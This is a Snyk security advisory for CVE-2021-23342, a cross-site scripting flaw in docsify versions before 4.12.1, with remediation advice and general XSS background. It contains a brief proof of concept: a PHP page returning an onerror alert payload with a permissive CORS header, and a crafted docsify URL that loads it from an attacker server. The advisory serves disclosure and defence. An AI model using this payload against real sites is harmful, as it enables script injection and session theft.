Cross-site Scripting (XSS)

Affecting docsify package, versions **<4.12.1**

INTRODUCED: 18 FEB 2021 CVE-2021-23342 CWE-79 FIRST ADDED BY SNYK

Share

How to fix?

Upgrade `docsify` to version 4.12.1 or higher.

Overview

docsify is a magical documentation site generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to bypass the remediation done by `CVE-2020-7680` and execute malicious JavaScript through the following methods

1. When parsing HTML from remote URLs, the HTML code on the main page is sanitized, but this sanitization is not taking place in the sidebar.
2. The isURL external check can be bypassed by inserting more "////" characters

PoC

```
* Have a running PHP webserver with the following code <?php header("Access-Control-Allow-Origin: *");
?> <img src=x onerror=alert(document.domain)>


Access your docsify instance as follows: http://yourdocsifyserver/#//yourserver.local:8090/test.php/
```

Note: The fix for this issue is within release 4.12.1, not 4.12.0

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser's Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>` in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they've been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user's browser.
DOM-based	Client	The attacker forces the user's browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers
- Application servers
- Web application environments

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH

See more

NVD 6.1 MEDIUM

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-DOCSIFY-1066017
Published	18 Feb 2021
Disclosed	18 Feb 2021
Credit	GiuliCler (Giulia Clerici), Egidio Romano

Report a new vulnerability | Found a mistake?

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

References

- GitHub Commit